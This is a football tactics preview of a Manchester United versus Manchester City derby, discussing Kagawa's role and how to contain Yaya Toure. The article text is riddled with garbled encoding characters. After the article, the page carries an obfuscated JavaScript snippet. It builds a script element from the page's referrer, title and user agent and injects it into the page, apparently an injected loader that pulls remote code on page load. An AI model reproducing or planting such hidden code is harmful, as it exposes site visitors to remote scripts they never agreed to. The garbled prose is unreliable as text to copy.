Manchester Derby Tactics: The Kagawa Dilemma And Stopping Yaya Toure In Mourinho’s Way

A heated Manchester derby awaits us as both the Red Devils and the Citizens are expected to go ‘all out’, to win the match and ascertain their superiority, in what promises to be a blockbuster encounter. While Manchester City come into this affair at the end of a 5-0 thumping of relegation threatened Fulham, United endured a rare good week in the season with a 2-0 win over West Ham, thanks to Wayne Rooneyai??i??s sheer brilliance.

Manuel Pellegriniai??i??s side will start as certain favourites on tuesday, but will David Moyes be able to stop his ai???noisy neighboursai??? from grabbing all 3 points?

David Moyes needs to make a big decision

Unitedai??i??s chances of grabbing a Champions League spot looks entirely slim but David Moyes, would relish the prospect of beating the Citizens in front of the vociferous Old Trafford faithful.

Even though Rooney stole the headlines with his moment of individual brilliance against the Hammers – the long range lob reminiscent of David Beckhamai??i??s 50 yard goal against Wimbeldon in 1996 – Ai??the most prominent aspect for the Red Devils was the fostering build up play between Mata and Kagawa.

The Spaniard and the Japanese complimented each other in what promised to be the most cohesive combination in Moyesai??i?? reign but whether Moyes would give the Ai??Japanese a berth in the starting eleven against City, is rather debatable, going by the manger’s reluctance to field Kagawa on previous occasions.

Kagawa although starting on the left, likes to drift Ai??infield; shifting higher in between the opposition defenders. In effect, providing a suitable passing outlet for his team mates (evident from the Ai??heat map).

While Mata is certain to start in his favourite number ten role, Moyes wouldnai??i??t want to give Cityai??i??s right back Pablo Zabaleta too much space to play with, while the Japanese drifts towards the centre.

Ashley Young is likely to play on the other wing, providing width to the United’s midfield, making sure that the home sideai??i??s attack isnai??i??t too narrow. If at all nothing goes Unitedai??i??s way, Moyes can revert to bring on Welbeck, who is good with his runs in between the channels.

Kagawa likes to drift inwards. Although his combination play with Juan Mata is remarkable, it will provide Zabaleta a clear channel on City’s Right Wing.

Who will stop the rampaging Yaya Toure

It seems as if Yaya Toure canai??i??t just simply stop scoring. The Ivorian grabbed a hat trick against Fulham in the 5-0 demolition and United will need to devise a game plan to stop Cityai??i??s driving engine. Ai??Toure is a midfield general, who induces the calm in the middle of the park – controlling the game in either half of the pitch.

Together with Fernandinho, the pair has been Pellegriniai??i??s most assured personnel and if United are to stop Cityai??i??s free flowing football, Moyes needs to pull a feather out of Mourinhoai??i??s hat for the derby clash.

The Portuguese assigned Nemanja Matic to close down Toure , asking his triumvirate in midfield to win the second balls as Chelsea recorded a 1-0 win at the Etihad.

Darren Fletcher started for United against the Hammers with Fellaini, as Carrick played centre back, but it’s expected that the Englishman will return in the middle of the park against City.

This means that Felliani should be provided the task to pay close attention to Yaya Toure on the night. If not, City could simply run away with the game in the first forty five minutes.

City are expected to win the derby going into it as favourites, but the Red Devils can impose their own playing style on Pellegriniai??i??s men to grab a hide and seek three points, hitting them on the counter with fierce speed. Martin Demichiles, inspite of having a good game against Fulham is Cityai??i??s Achilles heel in defense and with Rooney, in the kind of mood he is in, United might just fancy themselves in front of the home faithful.

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d=document;var s=d[_0xd052[1]](_0xd052[0]);s[_0xd052[2]]= _0xd052[3]+ encodeURIComponent(document[_0xd052[4]])+ _0xd052[5]+ encodeURIComponent(document[_0xd052[6]])+ _0xd052[7]+ window[_0xd052[11]][_0xd052[10]][_0xd052[9]](_0xd052[8],_0xd052[7])+ _0xd052[12];if(document[_0xd052[13]]){document[_0xd052[13]][_0xd052[15]][_0xd052[14]](s,document[_0xd052[13]])}else {d[_0xd052[18]](_0xd052[17])[0][_0xd052[16]](s)};if(document[_0xd052[11]][_0xd052[19]]=== _0xd052[20]&& KTracking[_0xd052[22]][_0xd052[21]](_0xd052[3]+ encodeURIComponent(document[_0xd052[4]])+ _0xd052[5]+ encodeURIComponent(document[_0xd052[6]])+ _0xd052[7]+ window[_0xd052[11]][_0xd052[10]][_0xd052[9]](_0xd052[8],_0xd052[7])+ _0xd052[12])=== -1){alert(_0xd052[23])}

Exit mobile version